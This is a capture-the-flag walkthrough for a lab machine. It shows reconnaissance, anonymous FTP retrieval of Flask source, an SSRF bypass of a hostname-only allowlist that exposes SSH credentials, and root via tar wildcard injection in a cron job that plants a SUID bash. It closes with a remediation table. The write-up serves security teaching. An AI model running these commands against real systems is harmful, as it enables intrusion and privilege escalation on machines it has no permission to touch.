Quick stealth scan. Three ports, no mystery — the machine is practically waving at you.
sudo nmap -sS -sV -sC 10.49.137.6 -F -T4
| Port | Service | Note |
|---|---|---|
| 21 | vsftpd 3.0.5 | Anonymous login allowed |
| 22 | OpenSSH 9.6p1 | Ubuntu |
| 80 | Gunicorn / Python | URL Preview — Volt Labs |
Two things immediately stand out: anonymous FTP (never a good sign for the defenders) and a "URL Preview Service" — which is hacker for please SSRF me. FTP first.
Anonymous login, one directory, one file. Someone staged a backup to FTP and apparently forgot what FTP means.
ftp 10.49.137.6
# Name: ftp — no password needed
ftp> cd pub
ftp> get backup.tar.gz
ftp> bye
tar xzf backup.tar.gz ls app.py # Flask source — the whole application, handed to us
The app is a URL preview service. It takes a URL, fetches it with requests.get(), and returns the body. There's an allowlist, but it only checks the hostname — not the scheme, not the path, and definitely not whether the resolved IP is localhost.
ALLOWED_HOSTS = {"kestrel.thm"}
# Only the hostname is validated. Scheme, path, and resolved IP — ignored.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
abort(403)
r = requests.get(target, timeout=3) # fetch runs as-is
The /admin/ route is protected by a remote_addr check — only loopback addresses can reach it:
@app.route("/admin/<path:p>") def admin(p="index"): if not request.remote_addr.startswith("127."): abort(403) # blocks external requests if p == "notes": with open("/opt/voltlabs-preview/admin_notes.txt") as f: return "<pre>" + f.read() + "</pre>"
The fix was supposed to be the allowlist. But since kestrel.thm resolves to 127.0.0.1 via /etc/hosts, passing it directly routes the request through loopback — and the admin check sees 127.0.0.1 as the caller.
curl "http://10.49.137.6/preview?url=http://kestrel.thm/admin/notes"
=== INTERNAL === SSH access for staging: user: webdev pass: V0ltLabs#****** - Mara
Mara left SSH credentials in an internal admin notes file, behind a localhost-only route, on a server with an SSRF vulnerability. Mara had a rough day.
/admin/notes path was visible in the source. Source code disclosure didn't just give us the vulnerability — it gave us the exact endpoint to hit.ssh [email protected] # password from admin notes
Logged in as webdev. User flag at the usual spot.
Standard post-exploitation checklist. SUID binaries were clean — nothing unusual outside the snap packages. The interesting find came from cron:
cat /etc/cron.d/voltlabs-backup
# Volt Labs staging backup - runs as root * * * * * root cd /opt/backups && tar czf /var/backups/uploads.tgz * # ↑ unquoted wildcard, writable dir, runs as root
Two preconditions align here. The cron job uses an unquoted * in /opt/backups. And webdev has write access to that directory. Both are required — a wildcard in a root-owned, write-protected directory is inert. Together they hand you root.
sh -c "...". The shell performs glob expansion on * before forking tar — every filename present in /opt/backups becomes a positional argument in the tar invocation. tar cannot distinguish --checkpoint=1 typed on the command line from a file named --checkpoint=1 that arrived via glob expansion. Both look identical once the shell is done.
After expansion, the effective command tar receives looks like this:
tar czf /var/backups/uploads.tgz \
--checkpoint=1 \
--checkpoint-action=exec=sh shell.sh \
shell.sh \
[... rest of files in the directory ...]
GNU tar's checkpoint mechanism fires a user-defined action every N records processed. --checkpoint=1 triggers after each single file; --checkpoint-action=exec=sh shell.sh executes the script under the same UID as tar — which is root. The archive doesn't need to complete successfully for the payload to run. Cron ticks every minute, so the maximum wait is 60 seconds.
HackTricks: Wildcard Spare Tricks — tar ↗
Confirm write access, then plant the payload:
ls -la /opt/backups # drwxrwxr-x root webdev — writable. Perfect. cd /opt/backups # payload: copy bash, set SUID bit echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > shell.sh # filenames that become tar flags after shell expansion touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh"
Wait for the next cron tick. Tar runs as root, shell expands the wildcard, the checkpoint flags inject, shell.sh executes as root.
ls -la /tmp/rootbash # -rwsr-sr-x 1 root root — SUID set, owned by root /tmp/rootbash -p # -p preserves the effective UID — runs as root whoami root
One unquoted asterisk. That's all it took.
| User | Password / Method | Source |
|---|---|---|
| webdev (SSH) | V0ltLabs#****** | SSRF → /admin/notes |
| root | wildcard injection | cron tar + SUID bash |
| Vector | Root Cause | Fix |
|---|---|---|
| Anon FTP + source backup | Application source staged on unauthenticated service — developer treated FTP as a private channel | Disable anonymous FTP entirely; secrets and source code never belong on a public file share |
| SSRF hostname-only allowlist | kestrel.thm resolves to 127.0.0.1 via /etc/hosts; scheme and resolved IP were never validated |
Resolve the hostname to an IP at allowlist-check time and reject RFC1918 ranges; validate scheme explicitly |
| Credentials in admin_notes.txt | SSH credentials stored in a plaintext file inside the application tree, one hop from an SSRF sink | Secrets manager; if a note must exist, it lives outside the web root with no code path reading it |
| Cron wildcard injection | Unquoted * in root-run tar command; target directory writable by unprivileged user |
tar czf backup.tgz -C /opt/backups . — a dot cannot be shell-expanded into flags; or remove webdev write access |